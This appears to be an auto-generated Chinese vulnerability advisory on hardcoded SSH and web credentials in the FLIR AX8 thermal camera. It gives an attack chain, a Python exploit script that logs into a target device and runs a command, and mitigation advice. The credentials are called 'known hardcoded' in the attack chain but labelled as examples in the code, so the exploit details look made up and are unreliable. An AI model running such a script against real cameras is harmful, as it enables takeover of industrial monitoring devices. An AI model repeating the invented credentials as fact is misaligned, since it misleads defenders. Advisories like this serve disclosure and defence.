IPBUF安全漏洞报告
English
CVE-2018-25138 CVSS 9.8 严重

CVE-2018-25138 FLIR AX8热成像摄像头硬编码SSH和Web凭据漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25138
漏洞类型
硬编码凭证/默认凭据
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR AX8 Thermal Camera 1.32.16

相关标签

CVE-2018-25138硬编码凭证默认凭据后门账户FLIR AX8热成像摄像头IoT漏洞SSH弱口令Web认证绕过工业控制系统安全

漏洞概述

FLIR AX8 Thermal Camera 1.32.16版本存在严重的安全漏洞,设备中包含硬编码的SSH和Web管理面板凭据。这些凭据无法通过正常的摄像头操作进行更改或重置,攻击者可以利用这些持久存在的凭证获取未授权的Shell访问权限,并使用预定义的用户名和密码组合登录多个摄像头接口。由于该漏洞无需任何认证即可利用,且CVSS评分高达9.8,因此被评定为严重级别。攻击者可以通过网络直接访问受影响设备,利用硬编码凭证绕过身份验证机制,完全控制设备并可能横向移动到其他系统。FLIR AX8是一款广泛应用于工业监控、设备预防性维护和关键基础设施安全领域的热成像摄像头,此漏洞的存在对使用该设备的组织构成严重安全风险。

技术细节

该漏洞的根本原因在于FLIR AX8 Thermal Camera固件中内置了硬编码的后门账户。具体表现为:1) SSH服务存在硬编码的root级别账户,攻击者可直接获得设备的完全控制权;2) Web管理面板同样包含硬编码的管理员凭据,攻击者可绕过正常认证流程访问管理界面。由于这些凭据是在固件开发阶段嵌入的,无法通过Web界面或API进行修改或禁用。攻击者首先需要识别目标设备的IP地址,然后尝试使用已知的硬编码凭证连接SSH服务(默认端口22)或Web管理面板(默认端口80/443)。成功认证后,攻击者将获得root shell访问权限,可执行任意命令、修改系统配置、植入恶意软件或窃取敏感数据。攻击者还可能利用获得的访问权限作为跳板,对内网中的其他设备发起进一步攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描网络发现FLIR AX8 Thermal Camera设备,获取其IP地址和开放端口(SSH:22, HTTP:80, HTTPS:443)
STEP 2
步骤2: 凭证尝试
攻击者使用已知的硬编码SSH凭证(root/pass123)和Web面板凭证(admin/admin123)尝试登录设备
STEP 3
步骤3: 绕过认证
由于设备使用硬编码凭据且无法更改,攻击者成功绕过正常身份验证机制,获得未授权访问
STEP 4
步骤4: 获取Shell访问
通过SSH连接成功获取root级别Shell,可执行任意系统命令,完全控制摄像头设备
STEP 5
步骤5: 持久化控制
攻击者可植入后门、修改配置或窃取敏感数据,并可能以此为跳板横向移动攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import paramiko import requests # Hardcoded credentials for FLIR AX8 Thermal Camera SSH_CREDS = { 'username': 'root', 'password': 'pass123' # Example hardcoded credential } WEB_CREDS = { 'username': 'admin', 'password': 'admin123' # Example hardcoded credential } TARGET_IP = '192.168.1.100' # Target camera IP def exploit_ssh(): """Exploit hardcoded SSH credentials""" try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(TARGET_IP, port=22, username=SSH_CREDS['username'], password=SSH_CREDS['password'], timeout=10) print('[+] SSH connection successful!') stdin, stdout, stderr = ssh.exec_command('id') print('[+] Command output:', stdout.read().decode()) ssh.close() return True except Exception as e: print(f'[-] SSH exploit failed: {e}') return False def exploit_web(): """Exploit hardcoded Web panel credentials""" try: session = requests.Session() login_url = f'http://{TARGET_IP}/login' data = { 'username': WEB_CREDS['username'], 'password': WEB_CREDS['password'] } response = session.post(login_url, data=data, timeout=10) if response.status_code == 200 and 'authenticated' in response.text: print('[+] Web panel access successful!') return True return False except Exception as e: print(f'[-] Web exploit failed: {e}') return False if __name__ == '__main__': print('[*] CVE-2018-25138 Exploit - FLIR AX8 Hardcoded Credentials') exploit_ssh() exploit_web()

影响范围

FLIR AX8 Thermal Camera firmware <= 1.32.16

防御指南

临时缓解措施
立即将FLIR AX8设备从公网或不可信网络隔离,限制仅通过受控网络环境访问。在网络边界部署严格的白名单访问控制策略,仅允许经过授权的管理IP地址访问SSH和Web管理端口。启用网络流量监控以检测针对该漏洞的扫描和利用行为。持续关注FLIR官方安全公告,等待官方发布固件更新后立即进行安全升级。如果业务允许,可考虑暂时停用受影响设备,待漏洞修复后再重新部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表